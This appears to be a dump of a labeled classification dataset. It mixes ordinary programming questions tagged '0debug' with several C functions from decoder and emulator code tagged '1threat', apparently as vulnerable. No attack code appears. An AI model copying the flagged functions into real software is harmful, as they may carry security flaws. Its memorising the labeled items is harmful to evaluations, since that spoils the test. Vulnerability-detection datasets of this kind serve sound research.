<p>I want to hide warnings in system headers. I tried the following:</p>
<pre><code>$ clang-tidy -extra-arg=-std=c++14 main.cpp -header-filter=$(realpath .) -system-headers=0
</code></pre>
<p>but the warning still shows.</p>
| 0debug |
static int rv34_decode_cbp(GetBitContext *gb, RV34VLC *vlc, int table)
{
int pattern, code, cbp=0;
int ones;
static const int cbp_masks[3] = {0x100000, 0x010000, 0x110000};
static const int shifts[4] = { 0, 2, 8, 10 };
const int *curshift = shifts;
int i, t, mask;
code = get_vlc2(gb, vlc->cbppattern[table].table, 9, 2);
pattern = code & 0xF;
code >>= 4;
ones = rv34_count_ones[pattern];
for(mask = 8; mask; mask >>= 1, curshift++){
if(pattern & mask)
cbp |= get_vlc2(gb, vlc->cbp[table][ones].table, vlc->cbp[table][ones].bits, 1) << curshift[0];
}
for(i = 0; i < 4; i++){
t = modulo_three_table[code][i];
if(t == 1)
cbp |= cbp_masks[get_bits1(gb)] << i;
if(t == 2)
cbp |= cbp_masks[2] << i;
}
return cbp;
}
| 1threat |
sass classes for colorizing in html : <p>i would like to create sass classes, such as .blue and .bg,
but depending on which i use, it should colorize the fonts and/or the background.</p>
<pre><code>// Classes for colorizing elements
.blue {
color: $primary-color;
&.bg {
background-color: $primary-color;
color: initial;
}
}
.light-gray {
color: $light-gray;
&.bg {
background-color: $light-gray;
color: initial;
}
}
.medium-gray {
color: $medium-gray;
&.bg {
background-color: $medium-gray;
color: initial;
}
}
.dark-gray {
color: $dark-gray;
&.bg {
background-color: $dark-gray;
color: initial;
}
}
.black {
color: $black;
&.bg {
background-color: $black;
color: initial;
}
}
.white {
color: $white;
&.bg {
background-color: $white;
color: initial;
}
}
</code></pre>
<p>the use of <code>color:inherit</code> here is repetitive and inefficient.</p>
<p>for example, if I use <code>.black .bg</code> than ONLY the background-color should be black.</p>
<p>If I only use <code>.black</code>, than ONLY the font-color should be used.</p>
<p><code>.bg</code> alone doesn't have to work in this case</p>
<p>Which SCSS/SASS elements can i use to achieve small and efficient code?
Thanks!</p>
| 0debug |
How to Check Duplicate value SQL table ? : I am using SQL server.Import data from Excel . i have Following Fields column
Entity ExpenseTypeCode Amount Description APSupplierID ExpenseReportID
12 001 5 Dinner 7171 90
12 001 6 Dinner 7171 90
12 001 5 Dinner 7273 90
12 001 5 Dinner 7171 95
12 001 5 Dinner 7171 90
I added Sample Data. Now I want select Duplicate Records .which Rows have all columns value same i want fetch that row. suppose above My table Fifth Row duplicate . i have more four thousands Query . i want select Duplicate records .Above I mention . please How to select using Query ? | 0debug |
static void pci_apb_iowritel (void *opaque, target_phys_addr_t addr,
uint32_t val)
{
cpu_outl(addr & IOPORTS_MASK, bswap32(val));
}
| 1threat |
Android RxJava 2 JUnit test - getMainLooper in android.os.Looper not mocked RuntimeException : <p>I am encountering a RuntimeException when attempting to run JUnit tests for a presenter that is using <code>observeOn(AndroidSchedulers.mainThread())</code>. </p>
<p>Since they are pure JUnit tests and not Android instrumentation tests, they don't have access to Android dependencies, causing me to encounter the following error when executing the tests:</p>
<pre><code>java.lang.ExceptionInInitializerError
at io.reactivex.android.schedulers.AndroidSchedulers$1.call(AndroidSchedulers.java:35)
at io.reactivex.android.schedulers.AndroidSchedulers$1.call(AndroidSchedulers.java:33)
at io.reactivex.android.plugins.RxAndroidPlugins.callRequireNonNull(RxAndroidPlugins.java:70)
at io.reactivex.android.plugins.RxAndroidPlugins.initMainThreadScheduler(RxAndroidPlugins.java:40)
at io.reactivex.android.schedulers.AndroidSchedulers.<clinit>(AndroidSchedulers.java:32)
β¦
Caused by: java.lang.RuntimeException: Method getMainLooper in android.os.Looper not mocked. See http://g.co/androidstudio/not-mocked for details.
at android.os.Looper.getMainLooper(Looper.java)
at io.reactivex.android.schedulers.AndroidSchedulers$MainHolder.<clinit>(AndroidSchedulers.java:29)
...
java.lang.NoClassDefFoundError: Could not initialize class io.reactivex.android.schedulers.AndroidSchedulers
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
β¦
</code></pre>
| 0debug |
Creating vectors in R : <p>I have what I think is a trivial problem in R that I would be most grateful for some assistance with:</p>
<p>I am trying to select a large number of variables (>1000) from a dataframe. The variables are grouped in bundles together</p>
<p>I have a vector containing the start position of the variables eg. c(74, 240, 5678, 20000).
I also have a vector containing the end positions e.g. c(80, 267, 5679, 20200).
I am unsure of how to generate from these a vector that I could use to select the desired variables: e.g. c(74:80, 240:267, 5678:5679, 20000:20200). </p>
<p>I would be most grateful for any advice</p>
<p>Thanks</p>
<p>Rob</p>
| 0debug |
select a row based on different column value (same row) : <pre><code>df <- data.frame(ID = rep(c("WTN", "KON", "WTH","KOH"), each = 3),
Time = rep(c("A", "B", "C"), times = 4),
replicate(3,sample(1:100,12,rep=TRUE)))
</code></pre>
<p>I want to select a row based on the values of two different columns of the same row, in this case "WTN" and "A". Expected output:</p>
<pre><code>1 WTN A 84 96 26
</code></pre>
| 0debug |
Swift programming. Scrollview disabling for container view : I have two container views inside a scroll view. I want to disable horizontal scrolling of one of the container view. Please help me? | 0debug |
Match Owner to filepath using Bash/Perl from Array : <p>I dont have any preference bash/perl etc for this. ( i'm not a developer but have experience with both )</p>
<p>I will have a list of File System Paths read recursively by a script to find large or old files - so lets imagine I have a File with list of paths files like:</p>
<ul>
<li>/fs1/john1a/test.conf</li>
<li>/fs1/storage/maryfolder/test.1.txt</li>
<li>/fs2/folder/john2a/full.txt</li>
</ul>
<p>I have a list of names and emails ( in an array? ) </p>
<ul>
<li>john,john@acme.com</li>
<li>mary,mary@acme.com</li>
</ul>
<p>I want to parse the file and send an email based on names in the list found in the paths. </p>
<p>So John will get 2 emails based on naming used:</p>
<ul>
<li>/fs1/"john"1a/test.conf</li>
<li>/fs2/folder/"john"2a/full.txt</li>
</ul>
<p>I am searching for solutions and will post if found.</p>
<p>Thanks in advance!</p>
| 0debug |
What are the jquery plugins used in https://supercrowds.co/who/ : <p>I need to find what are the plugins used in this <a href="https://supercrowds.co/who/" rel="nofollow noreferrer">https://supercrowds.co/who/</a> site. I tried it through inspector but it didn't work.</p>
| 0debug |
How can I extract the preceding audio (from microphone) as a buffer when silence is detected (JS)? : <p>I'm using the Google Cloud API for Speech-to-text, with a NodeJS back-end.
The app needs to be able to listen for voice commands, and transmit them to the back-end as a buffer. For this, I need to send the buffer of the preceding audio when silence is detected.</p>
<p>Any help would be appreciated. Including the js code below</p>
<pre><code> if (!navigator.getUserMedia)
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||
navigator.mozGetUserMedia || navigator.msGetUserMedia;
if (navigator.getUserMedia) {
navigator.getUserMedia({audio: true}, success, function (e) {
alert('Error capturing audio.');
});
} else alert('getUserMedia not supported in this browser.');
var recording = false;
window.startRecording = function () {
recording = true;
};
window.stopRecording = function () {
recording = false;
// window.Stream.end();
};
function success(e) {
audioContext = window.AudioContext || window.webkitAudioContext;
context = new audioContext();
// the sample rate is in context.sampleRate
audioInput = context.createMediaStreamSource(e);
var bufferSize = 4096;
recorder = context.createScriptProcessor(bufferSize, 1, 1);
recorder.onaudioprocess = function (e) {
if (!recording) return;
console.log('recording');
var left = e.inputBuffer.getChannelData(0);
console.log(convertoFloat32ToInt16(left));
};
audioInput.connect(recorder);
recorder.connect(context.destination);
}
</code></pre>
| 0debug |
Easiest way to reset git config file : <p>I am finally getting around to learning git. However, I unwisely started messing around with it awhile back (before I really knew what I was doing) via Sourcetree. Now that I'm trying to go through it, I have a pretty large list of settings. When I input: </p>
<pre><code>git config --list
</code></pre>
<p>I get the following result:</p>
<pre><code>core.excludesfile=~/.gitignore
core.legacyheaders=false
core.quotepath=false
core.pager=less -r
mergetool.keepbackup=true
push.default=simple
color.ui=auto
color.interactive=auto
repack.usedeltabaseoffset=true
alias.s=status
alias.a=!git add . && git status
alias.au=!git add -u . && git status
alias.aa=!git add . && git add -u . && git status
alias.c=commit
alias.cm=commit -m
alias.ca=commit --amend
alias.ac=!git add . && git commit
alias.acm=!git add . && git commit -m
alias.l=log --graph --all --pretty=format:'%C(yellow)%h%C(cyan)%d%Creset %s %C(white)- %an, %ar%Creset'
alias.ll=log --stat --abbrev-commit
alias.lg=log --color --graph --pretty=format:'%C(bold white)%h%Creset -%C(bold green)%d%Creset %s %C(bold green)(%cr)%Creset %C(bold blue)<%an>%Creset' --abbrev-commit --date=relative
alias.llg=log --color --graph --pretty=format:'%C(bold white)%H %d%Creset%n%s%n%+b%C(bold blue)%an <%ae>%Creset %C(bold green)%cr (%ci)' --abbrev-commit
alias.d=diff
alias.master=checkout master
alias.spull=svn rebase
alias.spush=svn dcommit
alias.alias=!git config --list | grep 'alias\.' | sed 's/alias\.\([^=]*\)=\(.*\)/\1\ => \2/' | sort
include.path=~/.gitcinclude
include.path=.githubconfig
include.path=.gitcredential
diff.exif.textconv=exif
credential.helper=osxkeychain
core.excludesfile=/Users/myusername/.gitignore_global
difftool.sourcetree.cmd=opendiff "$LOCAL" "$REMOTE"
difftool.sourcetree.path=
mergetool.sourcetree.cmd=/Applications/SourceTree.app/Contents/Resources/opendiff-w.sh "$LOCAL" "$REMOTE" -ancestor "$BASE" -merge "$MERGED"
mergetool.sourcetree.trustexitcode=true
user.name=My Name
user.email=myemail@email.com
</code></pre>
<p>And that seems like more than what I want to start with since the tutorial that I'm working through doesn't pull all of that up.</p>
<p>Is there a way to "Reset" the config file to a default state?</p>
| 0debug |
Parse public keys from .txt file by php : <p>I have .txt file with list of public keys and its ids and status. Exists some "best practice" method how can I extract one of this public key based on KEY_ID in php from .txt file?</p>
<p>keys.txt</p>
<pre><code>KEY_ID: 1
STATUS: VALID
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEaq6djyzkpHdX7kt8DsSt6IuSoXjp
WVlLfnZPoLaGKc/2BSfYQuFIO2hfgueQINJN3ZdujYXfUJ7Who+XkcJqHQ==
-----END PUBLIC KEY-----
KEY_ID: 2
STATUS: VALID
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE+Y5mYZL/EEY9zGji+hrgGkeoyccK
D0/oBoSDALHc9+LXHKsxXiEV7/h6d6+fKRDb6Wtx5cMzXT9HyY+TjPeuTg==
-----END PUBLIC KEY-----
KEY_ID: 3
STATUS: VALID
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEkvgJ6sc2MM0AAFUJbVOD/i34YJJ8
ineqTN+DMjpI5q7fQNPEv9y2z/ecPl8qPus8flS4iLOOxdwGoF1mU9lwfA==
-----END PUBLIC KEY-----
</code></pre>
| 0debug |
What fonts can I use with pygame.font.Font? : <p>I thought that pygame.font.Font was to load .ttf fonts, and that you can't load a font without having the .ttf file in the same directory, but I have seen a video where someone load a font without having the .ttf font in the same directory. I want to know what fonts can I use with pygame.font.Font without having the .ttf file in the same directory</p>
| 0debug |
Hi guys, im new here, i need a little help on making an an algorithm that displays all the even numbers between 0 and 1000. : I need help, i need to pass it tomorrow morning and I'm having a little problem.***emphasized text***
| 0debug |
static int qemu_rdma_exchange_send(RDMAContext *rdma, RDMAControlHeader *head,
uint8_t *data, RDMAControlHeader *resp,
int *resp_idx,
int (*callback)(RDMAContext *rdma))
{
int ret = 0;
if (rdma->control_ready_expected) {
RDMAControlHeader resp;
ret = qemu_rdma_exchange_get_response(rdma,
&resp, RDMA_CONTROL_READY, RDMA_WRID_READY);
if (ret < 0) {
return ret;
}
}
if (resp) {
ret = qemu_rdma_post_recv_control(rdma, RDMA_WRID_DATA);
if (ret) {
error_report("rdma migration: error posting"
" extra control recv for anticipated result!");
return ret;
}
}
ret = qemu_rdma_post_recv_control(rdma, RDMA_WRID_READY);
if (ret) {
error_report("rdma migration: error posting first control recv!");
return ret;
}
ret = qemu_rdma_post_send_control(rdma, data, head);
if (ret < 0) {
error_report("Failed to send control buffer!");
return ret;
}
if (resp) {
if (callback) {
trace_qemu_rdma_exchange_send_issue_callback();
ret = callback(rdma);
if (ret < 0) {
return ret;
}
}
trace_qemu_rdma_exchange_send_waiting(control_desc[resp->type]);
ret = qemu_rdma_exchange_get_response(rdma, resp,
resp->type, RDMA_WRID_DATA);
if (ret < 0) {
return ret;
}
qemu_rdma_move_header(rdma, RDMA_WRID_DATA, resp);
if (resp_idx) {
*resp_idx = RDMA_WRID_DATA;
}
trace_qemu_rdma_exchange_send_received(control_desc[resp->type]);
}
rdma->control_ready_expected = 1;
return 0;
}
| 1threat |
Simon Says in Python : <p>Simon Says" in python is a memory game where "Simon" outputs a sequence of 10 characters (R, G, B, Y) and the user must repeat the sequence. Create a for loop that compares the two strings. For each match, add one point to user_score. Upon a mismatch, end the game. Ex: The following patterns yield a user_score of 4: simonPattern: R, R, G, B, R, Y, Y, B, G, Y
userPattern: R, R, G, B, B, R, Y, B, G, Y
I am given this part of the code but I am clueless because I am a math major stuck in another mans world!!</p>
<pre><code>user_score = 0
simon_pattern = 'RRGBRYYBGY'
user_pattern = 'RRGBBRYBGY'
'''Your solution goes here'''
print('User score:', user_score)
</code></pre>
| 0debug |
Email sending application via WinFrm : Can i send email without giving password on the `NetworkCredentials`? here is my code.
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
MailMessage Myemail = new MailMessage();
private void btnsendemail_Click(object sender, EventArgs e)
{
SmtpClient myGmailserver = new SmtpClient("smtp.gmail.com",587);
myGmailserver.Credentials = new NetworkCredential("Email ID", "password");
Myemail.From = new MailAddress("Email ID");
Myemail.To.Add(tbTo.Text);
Myemail.Subject = tbsubject.Text;
Myemail.Body = tbmsg.Text;
myGmailserver.EnableSsl = true;
myGmailserver.Send(Myemail);
}
}
on the line `myGmailserver.Credentials = new NetworkCredential("Email ID", "Password");` it asks for a password for that specific email what if i want to send email to someone and not knowing the password of that email how can i do it? please answer | 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.